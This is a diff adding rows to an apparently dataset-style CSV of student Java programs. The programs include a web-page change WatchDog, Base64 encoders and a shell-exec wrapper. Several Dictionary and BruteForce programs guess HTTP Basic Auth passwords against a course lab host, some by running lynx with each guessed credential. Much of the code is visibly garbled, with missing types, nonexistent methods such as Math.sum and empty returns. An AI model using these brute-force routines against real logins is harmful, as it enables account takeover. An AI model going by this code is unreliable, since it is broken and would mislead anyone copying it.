+                    ""Request response : \n"" + client.getCode());
+
+
+                System.out.println(
+                    ""Request processing time (milliseconds): "" +
+                    (client.getEnd().getTime() - client.getStart().getTime()));
+
+                System.out.println(
+                    ""Request content: \n"" + client.getContent());
+            }
+            else
+            {
+                System.out.println(
+                    ""Request response : \n"" + client.getCode());
+
+
+            }
+        }
+    }
+}
+"
+149.java,"import	java.io.*;
+
+class WatchDog {
+    public static void main(String args[]) {
+    
+	    if (args.length<1)
+	 {
+       System.out.println(""Correct Format Filename  email address <username@cs.rmit.edu.> of the recordkeeper""); 
+        System.exit(1);	
+	 }
+
+	while (true)
+		{
+		
+		
+  FileInputStream stream=null;
+  DataInputStream word=null;
+  String input=""   ""; 
+
+
+	try {
+
+
+       String ls_str;
+    
+    	   
+	  Process ls_proc = Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students"");
+   		try {
+		Thread.sleep(2000);
+		}catch (Exception e) {
+    System.err.println(""Caught ThreadException: "" +e.getMessage());
+	  }
+
+		String[] cmd = {""//sh"",""-c"", ""diff Index2.html index.html >report.txt ""};
+
+	   ls_proc = Runtime.getRuntime().exec(cmd);
+		          
+			
+			try {
+		Thread.sleep(2000);
+		}catch (Exception e) {
+    System.err.println(""Caught ThreadException: "" +e.getMessage());
+	  }
+		
+		
+		
+		if (ls_proc.exitValue()==2) 
+		{
+		  	   System.out.println(""The file was checked for first time,  email sent"");
+
+           Process move = Runtime.getRuntime().exec(""mv index.html Index2.html"");
+		   
+
+		}
+		else
+		{
+
+				stream = new FileInputStream (""report.txt""); 
+				word =new DataInputStream(stream);
+
+
+				if (word.available() !=0)
+				{
+
+					try
+					{
+
+					String[] cmd1 = {""//sh"",""-c"",""diff Index2.html index.html | mail ""+args[0]};
+					 Process proc = Runtime.getRuntime().exec(cmd1);
+					 Thread.sleep(2000);
+					Process move = Runtime.getRuntime().exec(""mv index.html Index2.html"");
+					Thread.sleep(2000);
+					System.out.println(""Difference Found  , Email Sent"");
+
+					}
+					catch (Exception e1) {
+							System.err.println(e1);
+							System.exit(1);
+						
+					  
+						}
+					 
+	 
+	 
+				 }
+				 else
+					{
+						   System.out.println("" Differnce Detected"");
+
+
+					}
+		}
+	}
+	
+
+	 catch (IOException e1) {
+	    System.err.println(e1);
+	    System.exit(1);
+	
+  
+	}
+try
+{
+word.close();
+stream.close(); 
+	
+}
+ 
+catch (IOException e)
+{ 
+System.out.println(""Error in closing input file:\n"" + e.toString()); 
+} 
+       	
+try {
+Thread.sleep(20000);  
+    }
+catch (Exception e) 
+	{
+System.err.println(""Caught ThreadException: "" +e.getMessage());
+	}
+		
+
+        }   
+
+	} 
+	
+   }"
+222.java,"
+
+import java.net.*;
+import java.io.*;
+
+public class Base64Encoder
+{
+   private final static char base64Array [] = {
+          'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+          'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+          'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+          'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+          'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+          'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+          'w', 'x', 'y', 'z', '0', '1', '2', '3',
+          '4', '5', '6', '7', '8', '9', '+', '/'
+     };
+
+   public static String encode (String string)
+   {
+      String encodedString = """";
+      byte bytes [] = string.getBytes ();
+      int i = 0;
+      int pad = 0;
+      while (i < bytes.length)
+      {
+         byte b1 = bytes [i++];
+         byte b2;
+         byte b3;
+         if (i >= bytes.length)
+         {
+            b2 = 0;
+            b3 = 0;
+            pad = 2;
+         }
+         else
+         {
+            b2 = bytes [i++];
+            if (i >= bytes.length)
+            {
+               b3 = 0;
+               pad = 1;
+            }
+            else
+               b3 = bytes [i++];
+         }
+
+         byte c1 = (byte)(b1 >> 2);
+         byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+         byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+         byte c4 = (byte)(b3 & 0x3f);
+         encodedString += base64Array [c1];
+         encodedString += base64Array [c2];
+         switch (pad)
+         {
+            case 0:
+               encodedString += base64Array [c3];
+               encodedString += base64Array [c4];
+               break;
+            case 1:
+               encodedString += base64Array [c3];
+               encodedString += ""="";
+               break;
+            case 2:
+               encodedString += ""=="";
+               break;
+         }
+      }
+      return encodedString;
+   }
+}
+"
+073.java,"
+
+public class Execute {
+   public Execute(String cmdline) {
+      try {
+         
+         String[] cmd = {""//sh"", ""-c"", cmdline};
+         Process p = Runtime.getRuntime().exec(cmd);
+         
+         p.waitFor();
+      } catch (Exception e){}
+   }
+}
+
+"
+139.java,"import java.io.*;
+import java.util.Date;
+import java.util.regex.*; 
+
+
+
+
+
+import java.jscape.inet.http.*;
+
+
+
+
+
+
+
+class Dictionary
+{
+   public static void main (String args[]) throws Exception
+   {
+      String username = """";
+      int errorMessage = 401;   
+      int attempts = 0;
+
+      FileReader fReader = new FileReader (""/usr/share/lib/dict/words"");
+      BufferedReader buffReader = new BufferedReader (fReader);
+      
+      String word;
+      int wordLength ;
+
+      Http http = new Http();
+      HttpRequest request = new HttpRequest (""http://sec-crack.cs.rmit.edu./SEC/2/"" );
+      
+
+      Date startDate = new Date(); 
+ 
+
+      while(( word = buffReader.readLine()) != null)
+      {
+         if (errorMessage == 200)
+            break; 
+         
+         wordLength = word.length();
+ 
+         if(wordLength <=3) 
+         {
+            
+            Pattern lettersOnly = Pattern.compile (""[A-Za-z]+"");
+            Matcher pword = lettersOnly.matcher (word); 
+            if (pword.matches() == true)
+            { 
+               String password = pword.group();
+               request.setBasicAuthentication(username,password);
+               HttpResponse response = http.getResponse(request);
+               errorMessage = response.getResponseCode();
+               System.out.println(errorMessage);
+               System.out.println(password);
+               attempts++;
+               if (errorMessage == 200)
+                  break;
+            }
+         }
+      }
+      Date endDate = new Date();
+      System.out.println(""Password crack finished: "" + endDate);
+      System.out.println(""Password crack started: "" + startDate);
+      System.out.println("" of attempts: "" + attempts);
+   }
+} 
+      
+            
+      
+      
+      "
+162.java,"
+package java.httputils;
+
+import java.net.URL;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Hashtable;
+import java.util.Iterator;
+
+
+public class HttpRequestThreadPool
+{
+    Hashtable h = new Hashtable();
+    int poolSize = 10;
+    ThreadGroup threadGroup = new ThreadGroup(""Group"" + System.currentTimeMillis());
+    String URL = ""http://localhost:8080/"";
+    int requestCount = 100;
+
+    
+    public HttpRequestThreadPool()
+    {
+        super();
+    }
+
+    public void initMap()
+    {
+        for (int i = 0; i < getPoolSize(); i++)
+        {
+            RunnableHttpRequest client = new RunnableHttpRequest(
+                getURL(),
+                getRequestCount(),
+                ""Thread"" + System.currentTimeMillis(),
+                getThreadGroup(),
+                this
+            );
+            h.put(client, 0);
+            client.a();
+        }
+    }
+
+    public static void main (String[] args)
+    {
+        HttpRequestThreadPool pool = new HttpRequestThreadPool();
+        pool.setURL(args[0]);
+        pool.setPoolSize(Integer.parseInt(args[1]));
+        pool.setRequestCount(Integer.parseInt(args[2]));
+        pool.initMap();
+
+        while (!pool.allThreadsFinished())
+        {
+            try
+            {
+                Thread.currentThread().sleep(1000);
+            }
+            catch (InterruptedException e)
+            {
+                e.printStackTrace();
+            }
+        }
+
+        System.out.println(pool.getMap());
+    }
+
+
+    boolean allThreadsFinished()
+    {
+        boolean finished = true;
+
+        Enumeration enuma = getMap().keys();
+
+        while (enuma.hasMoreElements())
+        {
+            RunnableHttpRequest thread = ((RunnableHttpRequest)(enuma.nextElement()));
+
+
+
+            finished = finished &&
+                thread.getFinished().booleanValue();
+        }
+
+        return finished;
+    }
+
+    
+    synchronized public Hashtable getMap()
+    {
+        return ;
+    }
+
+    
+    synchronized public void setMap(Hashtable h)
+    {
+        this.h = h;
+    }
+
+
+
+    
+    public int getPoolSize()
+    {
+        return poolSize;
+    }
+
+    
+    public void setPoolSize(int i)
+    {
+        poolSize = i;
+    }
+
+    
+    public ThreadGroup getThreadGroup()
+    {
+        return threadGroup;
+    }
+
+    
+    public void setThreadGroup(ThreadGroup group)
+    {
+        threadGroup = group;
+    }
+
+    
+    public int getRequestCount()
+    {
+        return requestCount;
+    }
+
+    
+    public void setRequestCount(int i)
+    {
+        requestCount = i;
+    }
+
+    
+    public String getURL()
+    {
+        return URL;
+    }
+
+    
+    public void setURL(String string)
+    {
+        URL = string;
+    }
+
+    synchronized void setThreadAverageTime(RunnableHttpRequest req, int  millis)
+    {
+        h.put(req, millis);
+    }
+}
+"
+229.java,"
+
+import java.io.*;
+import java.*;
+import java.net.*;
+import java.util.*;
+
+public class WatchDog {
+ public static void  main (String[] args) throws IOException {
+  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
+   try{
+     twentyfourhours = 86400000;
+    Timer timer = new Timer();
+    final Runtime rt = Runtime.getRuntime();
+
+    try{
+     Process wg1 = rt.exec(""./.sh"");
+     wg1.waitFor();
+    }
+    catch(InterruptedException e ){
+     System.err.println();
+     e.printStackTrace();
+    }
+
+    class RepeatTask extends TimerTask{
+     public void run(){
+      try{
+       Process wg2 = rt.exec(""./task.sh"");
+       wg2.waitFor();
+       FileReader fr = new FileReader(""check.txt"");
+       BufferedReader bufr = new BufferedReader(fr);
+       String check = bufr.readLine();
+       if(check.equals("".txt: FAILED"")) {
+        Process difftosend = rt.exec(""./diff.sh"");
+        difftosend.waitFor();
+        Process reset = rt.exec(""./.sh"");
+        reset.waitFor();
+       }
+       FileReader fr2 = new FileReader(""imgdiffs.txt"");
+       BufferedReader bufr2 = new BufferedReader(fr2);
+       String imdiff = bufr2.readLine();
+       if(imdiff != null){
+        Process imdifftosend = rt.exec(""./img.sh"");
+        imdifftosend.waitFor();
+        Process reset = rt.exec(""./.sh"");
+        reset.waitFor();
+       }
+      }
+   catch(InterruptedException e){System.err.println();e.printStackTrace();}
+      catch(IOException e){
+       System.err.println(e);
+       e.printStackTrace();
+      }
+    }}
+
+    timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);
+    
+   }
+   catch(IOException e){
+    System.err.println(e);
+    e.printStackTrace();
+   }
+   
+}}
+"
+087.java,"import java.net.*;
+import java.io.*;
+import java.*;
+
+ public class Dictionary {
+
+   URLConnection conn = null;
+   private static boolean status = false;
+
+   public static void main (String args[]){
+     Dictionary a = new Dictionary();
+     String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
+     				 """",
+     				 """"};
+     File file = new File(""words"");
+     exit:
+     try {
+		 BufferedReader in = new BufferedReader(new FileReader(file));
+		 int attempt = 0;
+		 inp[2] = in.readLine();
+		 while (inp[2] != null) {
+	
+			 if (inp[2].length() <= 3) {
+			 	attempt++;
+			 	a.doit(inp);
+     		 	if (status) {
+			 		 System.out.println(""Crrect password is: "" + inp[2]);
+			 		 System.out.println(""Number of attempts = "" + attempt);
+			 		 break exit;
+			 	}
+		 	 }
+			 inp[2] = in.readLine();
+   		}
+	 } catch (FileNotFoundException e1) {
+		 
+		System.err.println(""File not found: "" + file);
+	} catch (IOException e2) {
+		
+		e2.printStackTrace();
+	}
+
+   }
+
+   public void doit(String args[]) {
+     
+     try {
+       BufferedReader in = new BufferedReader(
+           new InputStreamReader
+              (connectURL(new URL(args[0]), args[1], args[2])));
+       String line;
+       while ((line = in.readLine()) != null) {
+           System.out.println(line);
+           status = true;
+           }
+       }
+     catch (IOException e) {
+   
+       }
+     }
+
+   public InputStream connectURL (URL url, String uname, String pword)
+        throws IOException  {
+     conn = url.openConnection();
+     conn.setRequestProperty (""Authorization"",
+     userNamePasswordBase64(uname,pword));
+     conn.connect ();
+     return conn.getInputStream();
+     }
+
+   public String userNamePasswordBase64(String username, String password) {
+     return "" "" + base64Encode (username + "":"" + password);
+     }
+
+   private final static char base64Array [] = {
+       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+       'w', 'x', 'y', 'z', '0', '1', '2', '3',
+       '4', '5', '6', '7', '8', '9', '+', '/'
+  };
+
+   private static String base64Encode (String string)    {
+     String encodedString = """";
+     byte bytes [] = string.getBytes ();
+     int i = 0;
+     int pad = 0;
+     while (i < bytes.length) {
+       byte b1 = bytes [i++];
+       byte b2;
+       byte b3;
+       if (i >= bytes.length) {
+          b2 = 0;
+          b3 = 0;
+          pad = 2;
+          }
+       else {
+          b2 = bytes [i++];
+          if (i >= bytes.length) {
+             b3 = 0;
+             pad = 1;
+             }
+          else
+             b3 = bytes [i++];
+          }
+       byte c1 = (byte)(b1 >> 2);
+       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+       byte c4 = (byte)(b3 & 0x3f);
+       encodedString += base64Array [c1];
+       encodedString += base64Array [c2];
+       switch (pad) {
+        case 0:
+          encodedString += base64Array [c3];
+          encodedString += base64Array [c4];
+          break;
+        case 1:
+          encodedString += base64Array [c3];
+          encodedString += ""="";
+          break;
+        case 2:
+          encodedString += ""=="";
+          break;
+        }
+       }
+       return encodedString;
+   }
+ }
+
+"
+025.java,"
+import java.net.*;
+import java.*;
+import java.io.*;
+import java.util.GregorianCalendar;
+public class BruteForce
+{
+
+    private char passwd_Array []={'a','b','c','d','e','f','g','h','i','j','k',
+    'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B',
+    'C','D','E','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V',
+    'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','\'','.','&'};
+    private int num=1;
+    public void crackAddress() throws Exception
+    {
+       String line,username="""",passwd;
+       int flag=0;
+       Runtime run = Runtime.getRuntime();
+       GregorianCalendar =new GregorianCalendar();
+       for(int k=0;k<passwd_Array.length;k++)
+       {
+            for(int j=0;j<passwd_Array.length;j++)
+            {
+                for(int i=0;i<passwd_Array.length;i++)
+                {
+                 passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j]).append(passwd_Array[k])).toString();
+                 System.out.println(""Check with word:""+passwd.trim());
+                 String command_line = ""lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=""+username+"":""+passwd.trim()+"" -dump"";
+                 Process result = run.exec(command_line);
+                 BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
+                 while((line=bf.readLine())!=null)
+                {
+                 flag=1;
+                 break;
+                }
+                if(flag==1)
+                 {
+                    System.out.println(""The username is: ""+username+"" The password is: ""+passwd);
+                     break;
+                 }
+                }
+                if(flag==1)
+                 break;
+              }
+              if(flag==1)
+                break;
+       }
+       if(flag==0)
+       {
+           for(int i=0;i<passwd_Array.length;i++)
+             {
+                for(int j=0;j<passwd_Array.length;j++)
+                {
+                 passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j])).toString();
+                 System.out.println(""Check with word:""+passwd);
+                 String command_line = ""lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=""+username+"":""+passwd+"" -dump"";
+                 Process result = run.exec(command_line);
+                 BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
+                while((line=bf.readLine())!=null)
+                {
+                 flag=1;
+                 break;
+                }
+                if(flag==1)
+                 {
+                    System.out.println(""The username is: ""+username+"" The password is: ""+passwd);
+                     break;
+                 }
+                }
+                if(flag==1)
+                  break;
+             }
+             if(flag==0)
+              {
+                  for(int j=0;j<passwd_Array.length;j++)
+                {
+                 passwd =(new StringBuffer().append(passwd_Array[j])).toString();
+                 System.out.println(""Check with word:""+passwd);
+                 String command_line = ""lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=""+username+"":""+passwd+"" -dump"";
+                 Process result = run.exec(command_line);
+                 BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
+                while((line=bf.readLine())!=null)
+                {
+                 flag=1;
+                 break;
+                }
+                if(flag==1)
+                 {
+                    System.out.println(""The username is: ""+username+"" The password is: ""+passwd);
+                     break;
+                 }
+                }
+              }
+         }
+       GregorianCalendar end=new GregorianCalendar();
+       double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;
+       System.out.println(""The attack use""+time+"" seconds."");
+    }
+
+public static void main(String args[]) throws Exception
+{
+   BruteForce bf = new BruteForce();
+   bf.crackAddress();
+}
+}"
+007.java,"
+
+
+
+import java.io.*;
+import java.*;
+import java.net.*;
+
+public class Dictionary
+{
+
+   static BufferedReader in = null;
+   static MyAuthenticator Auth = new MyAuthenticator();
+
+ 
+   public static void main(String[] args) throws IOException
+   {
+      int tmp = 0;
+      String str ="""";
+      Authenticator.setDefault(Auth);
+ 
+      try
+      {
+         URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+
+         
+         
+         while(tmp!=1)
+         {
+            try
+            {
+               in = new BufferedReader(new InputStreamReader(url.openStream()));
+               tmp=1;
+            }
+            catch (IOException e) {}
+            
+         }         
+
+         while ((str = in.readLine()) != null) 
+         {
+            
+            
+            
+         }
+         
+
+         System.out.println(""The successful Password found using a Dictionary search is = "" + Auth.finalPass());
+
+      } 
+      catch (MalformedURLException e) 
+         {System.out.println(""mfURL"");}
+   }    
+
+
+}
+
+class MyAuthenticator extends Authenticator 
+{
+   String username = """";
+   static String password = """";
+   
+   static String DictFile = ""/usr/share/lib/dict/words"";
+   static BufferedReader fReader;
+
+   public MyAuthenticator()
+   {
+      try
+      {
+          fReader = new BufferedReader
+                            (new FileReader(DictFile));
+      }
+      catch (FileNotFoundException e)
+      {
+         System.out.println(""File "" +DictFile+ "" Not Found"");
+         System.out.println("" File Opened"");
+         System.exit(1);
+      }
+      catch (IOException e)
+      {
+         System.out.println(""File  Failed.."");
+         System.exit(1);
+      }
+
+   }
+
+   static void setPass(String pswd)
+   {
+      password = pswd;
+   }
+
+   static String finalPass()
+   {
+      return password;
+   }
+
+   static String getPass()
+   {
+      try
+      {
+         if ((password = fReader.readLine()) == null)
+         {
+            System.out.println(""Password Not found in file '"" + DictFile +""'."");
+            System.exit(1);
+         }
+      }
+      catch (IOException ioe)
+      {
+         System.out.println(""File IOException"");
+         System.out.println(ioe);
+      }
+
+      return password;
+   }
+
+
+
+   protected PasswordAuthentication getPasswordAuthentication() 
+   { 
+      
+      return new PasswordAuthentication(username, getPass().toCharArray()); 
+
+   } 
+}
+"
+063.java,"
+
+import java.*;
+import java.net.*;
+import java.util.*;
+import java.io.*;
+import java.text.*;
+import java.awt.*;
+import java.awt.image.*;
+import java.security.*;
+import javax.swing.*;
+
+public class WatchDog {
+    
+    
+    
+    public String[] resizeArray(String[] a, int sz) {
+        String[] result = new String[sz];
+        for (int i=0;i<Math.sum(a.length,sz);i++) {
+            result[i] = a[i];
+        }
+        for (int i=Math.sum(a.length,sz);i<sz;i++) {
+            result[i] = """";
+        }
+        return result;
+    }
+    
+    
+    public byte[] resizeArray(byte[] a, int sz) {
+        byte[] result = new byte[sz];
+        for (int i=0;i<Math.sum(a.length,sz);i++) {
+            result[i] = a[i];
+        }
+        for (int i=Math.sum(a.length,sz);i<sz;i++) {
+            result[i] = 0;
+        }
+        return result;
+    }
+    
+    
+    public String[] giveNumberPrefix(String[] a) {
+        String[] result = new String[a.length];
+        for (int i=0;i<a.length;i++) {
+            result[i] = ""   ""+String.valueOf(i+1)+"". ""+a[i];
+        }
+        return result;
+    }
+    
+    public String[] appendArray(String[] a1, String[] a2) {
+        if (a1==null) { return a2; }
+        
+        String[] result = new String[a1.length+a2.length];
+        int idx = 0;
+        for (int i=0;i<a1.length;i++) {
+            result[idx++] = a1[i];
+        }
+        for (int i=0;i<a2.length;i++) {
+            result[idx++] = a2[i];
+        }
+        return result;
+    }
+    
+    
+    public byte[] appendArray(byte[] a1, byte[] a2) {
+        if (a1==null) { return a2; }
+        
+        byte[] result = new byte[a1.length+a2.length];
+        int idx = 0;
+        for (int i=0;i<a1.length;i++) {
+            result[idx++] = a1[i];
+        }
+        for (int i=0;i<a2.length;i++) {
+            result[idx++] = a2[i];
+        }
+        return result;
+    }
+    
+    
+    public boolean deleteFile(String filename) {
+        File f = new File(filename);
+        f.delete();
+        return true;
+    }
+    
+    
+    public void printStrArrayToFile(String filename, String[] msg) {
+        try {
+            PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename)));
+            for (int i=0;i<msg.length;i++)
+                p.println(msg[i]);
+            p.get();
+        } catch (IOException e) {
+            System.out.println(e);
+        }
+    }
+    
+    
+    public String getFileName(String s) {
+        int    p;
+        for (p=s.length()-1;p>0;p--)
+            if (s.charAt(p)=='/')
+                break;
+        
+        return s.substring(p+1,s.length());
+    }
+    
+    
+    
+    public class HTMLDownloaderAndImgParser {
+        
+        public HTMLDownloaderAndImgParser(String url) {
+            
+            try {
+                this.url = new URL(url);
+                this.conn = (HttpURLConnection) this.url.openConnection();
+                this.conn.setUseCaches(false);
+                this.lastModified = conn.getLastModified();
+            } catch (MalformedURLException e) {
+                System.out.println(""Error opening URL '""+url+""'"");
+                System.exit(1);
+            } catch (IOException e) {
+                System.out.println(""Error opening URL '""+url+""'"");
+                System.exit(1);
+            }
+            
+            
+            try {
+                this.HTMLBuf  = new BufferedReader(new InputStreamReader(this.url.openStream()));
+            } catch (IOException e) {
+                System.out.println(e);
+            }
+            
+            
+            this.imgList   = new String[MAXIMG];
+            this.imgidx    = 0;
+            this.localpage = """";
+        }
+        
+        
+        public void open() {
+            try {
+                this.conn = (HttpURLConnection) this.url.openConnection();
+                this.HTMLBuf  = new BufferedReader(new InputStreamReader(this.url.openStream()));
+            } catch (IOException e) {}
+        }
+        
+        
+        public void main() {
+            try {
+                HTMLBuf.print();
+                conn.disconnect();
+            } catch (IOException e) {}
+        }
+        
+        
+        public  getLastModified() {
+           
+            open();
+            this.lastModified = conn.getLastModified();
+            return this.lastModified;
+        }
+        
+        private char toLowerCase(int c) {
+            String s = String.valueOf((char)c).toLowerCase();
+            return s.charAt(0);
+        }
+        
+        
+        private int fetchLowerCase() {
+            try {
+                int c = HTMLBuf.print();
+                if (c>=0) {
+                    
+                    localpage += String.valueOf((char)c);
+                    return toLowerCase(c);
+                } else {
+                    return -1;
+                }
+            } catch (IOException e) {
+                System.out.println(e);
+                return -1;
+            } catch (NullPointerException e) {
+                return -1;
+            }
+        }
+        
+        
+        private int getNextState(int curState, int input) {
+            int idx = -1;
+            if ((input>='a') && (input<='z')) {
+                idx = input - 'a';
+                return stateTable[curState][idx];
+            } else {
+                switch ((char)input) {
+                   case  '<'        : { return stateTable[curState][26]; }
+                    case  ' '        : { return stateTable[curState][27]; }
+                    case '""'        : { return stateTable[curState][28]; }
+                    case '\''       : { return stateTable[curState][28]; }
+                    case '='        : { return stateTable[curState][29]; }
+                     case (char)-1   : { return -1;                       } 
+                    default         : { return stateTable[curState][30]; } 
+                }}
+        }
+        
+        
+        private void appendImgList(String s) {
+            if (imgidx<imgList.length) {
+                
+                boolean already = false;
+                for (int i=0;i<imgidx;i++)
+                    if (imgList[i].equals(s)) {
+                        already = true;
+                        break;
+                    }
+                if (!already)
+                    imgList[imgidx++] = s;
+            } else {
+                System.out.println(""Error: Not enough buffer for image URLs !"");
+                System.exit(1);
+            }
+        }
+        
+        
+        public byte[] getByteArray() {
+            return localpage.getBytes();
+        }
+        
+        
+        public String combineURLAndFileName(String url, String filename) {
+            int p = url.length()-1;
+            boolean flag = false;
+            
+            
+            for (int i=url.length()-1;i>=0;i--) {
+                if (url.charAt(i)=='.') {
+                    flag = true;
+                } else
+                    if ((!flag) && (url.charAt(i)=='/')) {
+                        break;
+                    } else
+                        if ((flag) && (url.charAt(i)=='/')) {
+                            p = i;
+                            break;
+                        }
+            }
+            url = url.substring(0,p+1);
+            if (url.charAt(url.length()-1)!='/') { url += '/'; }
+            
+            
+            
+            if (filename.charAt(0)=='/') {
+                for (int i=url.length()-2;i>0;i--) {
+                    if (url.charAt(i)=='/') {
+                        url = url.substring(0,i+1);
+                        break;
+                    }
+                }
+            }
+            
+            
+            if (filename.charAt(0)=='/') {
+                filename = filename.substring(1,filename.length());
+            }
+            
+            return url+filename;
+        }
+        
+        
+        public String combineWithURLPath(String filename) {
+            
+            try {
+                URL u = new URL(filename);
+                return filename;
+            } catch (MalformedURLException e) {
+                return combineURLAndFileName(url.toString(),filename);
+                
+            }
+        }
+        
+        
+        public boolean startParsing() {
+            
+            int     curstate = 0;
+            int     c;
+            boolean eof      = false;
+            boolean fetchURL = false;
+            String  imgURL   = """";
+            
+            while (!eof) {
+                curstate = getNextState(curstate, c=fetchLowerCase());
+                switch (curstate) {
+                    case 11: {
+                        if (!fetchURL) { 
+                            fetchURL = true;
+                        } else {
+                            imgURL += String.valueOf((char)c);
+                        }
+                        break; }
+                     case 0: {
+                        if (fetchURL) { 
+                            appendImgList(combineWithURLPath(imgURL));
+                            imgURL   = """";
+                            fetchURL = false;
+                        }
+                        break; }
+                    case -1: {
+                        eof = true;
+                        break; }
+                }
+            }
+            
+            return (localpage.length()>0);
+        }
+        
+        
+        public void saveLocalPageToFile(String filename) {
+            try {
+                PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename)));
+                p.print(localpage);
+                p.print();
+            } catch (IOException e) {
+                System.out.println(e);
+            }
+        }
+        
+        
+        public int imageCount() {
+            return imgidx;
+        }
+        
+        
+        public String[] getImgList() {
+            String[] result = new String[imgidx];
+            
+            if (imgidx==0) { return null; }
+            else {
+                for (int i=0;i<imgidx;i++)
+                    result[i] = imgList[i];
+                
+                return result;
+            }
+        }
+        
+        private BufferedReader HTMLBuf;
+        private String filename;
+        private String[] imgList;
+        private int      imgidx;
+        private final int[][] stateTable =  { 
+            
+              { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   1, 0, 0, 0, 0,12},
+              { 0, 0, 0, 0, 0, 0, 0, 0, 2, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0,12},
+              { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 3, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0,12},
+              { 0, 0, 0, 0, 0, 0, 4, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0,12},
+              { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 5, 0, 0, 0,12},
+              {10,10,10,10,10,10,10,10,10,10,  10,10,10,10,10,10,10,10, 6,10,  10,10,10,10,10,10,   0, 0, 0, 0, 0,12},
+              {10,10,10,10,10,10,10,10,10,10,  10,10,10,10,10,10,10, 7,10,10,  10,10,10,10,10,10,   0, 0, 0, 0, 0,12},
+              { 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0,12},
+              { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 8, 0, 9, 0,12},
+              { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 9,11, 0, 0,12},
+              {10,10,10,10,10,10,10,10,10,10,  10,10,10,10,10,10,10,10,10,10,  10,10,10,10,10,10,   0, 5, 5, 0, 0,12},
+              {11,11,11,11,11,11,11,11,11,11,  11,11,11,11,11,11,11,11,11,11,  11,11,11,11,11,11,  11, 5, 0,11,11,12},
+              { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0}
+        };
+        private final int MAXIMG = 100; 
+        private URL url;
+        private HttpURLConnection conn;
+        private String localpage;
+        private int    localpos;
+        private int   lastModified;
+    }
+    
+    
+    
+    
+    public class MailSender {
+        
+        public MailSender(String from, String to, String[] msg) {
+            try {
+                sk = new Socket(SMTPSERVER,25);
+                pwr  = new PrintWriter(sk.getOutputStream());
+                this.from = from;
+                this.to   = to;
+                this.msg  = msg;
+            } catch (UnknownHostException e) {
+                status = SEND_ERROR;
+                System.out.println(e);
+            } catch (IOException e) {
+                status = SEND_OK;
+                System.out.println(e);
+            }
+        }
+        
+        
+        public int getStatus() {
+            return status;
+        }
+        
+        
+        public void sendMail() {
+            pwr.println(""HELO ""+SMTPSERVER);
+            pwr.println(""MAIL FROM: ""+from);
+            pwr.println(""RCPT : ""+to);
+            pwr.println(""DATA"");
+            for (int i=0;i<msg.length;i++)
+                pwr.println(msg[i]);
+            pwr.println(""."");
+            
+            pwr.print();
+            try {
+               
+                status = SEND_OK;
+            } catch (IOException e) {
+                status = SEND_ERROR;
+            }
+        }
+        
+        private int                 status;
+        private Socket              sk;
+        private PrintWriter         pwr;
+        private String              from,to;
+        private String[]            msg;
+        private static final int    SEND_OK    = 1;
+        private static final int    SEND_ERROR =1;
+    }
+    
+    
+    
+    public class TextFileComparator {
+
+        public TextFileComparator(String src, String dest) {
+            this.src  = src;
+            this.dest = dest;
+        }
+
+        
+        private void initBufs() {
+            try {
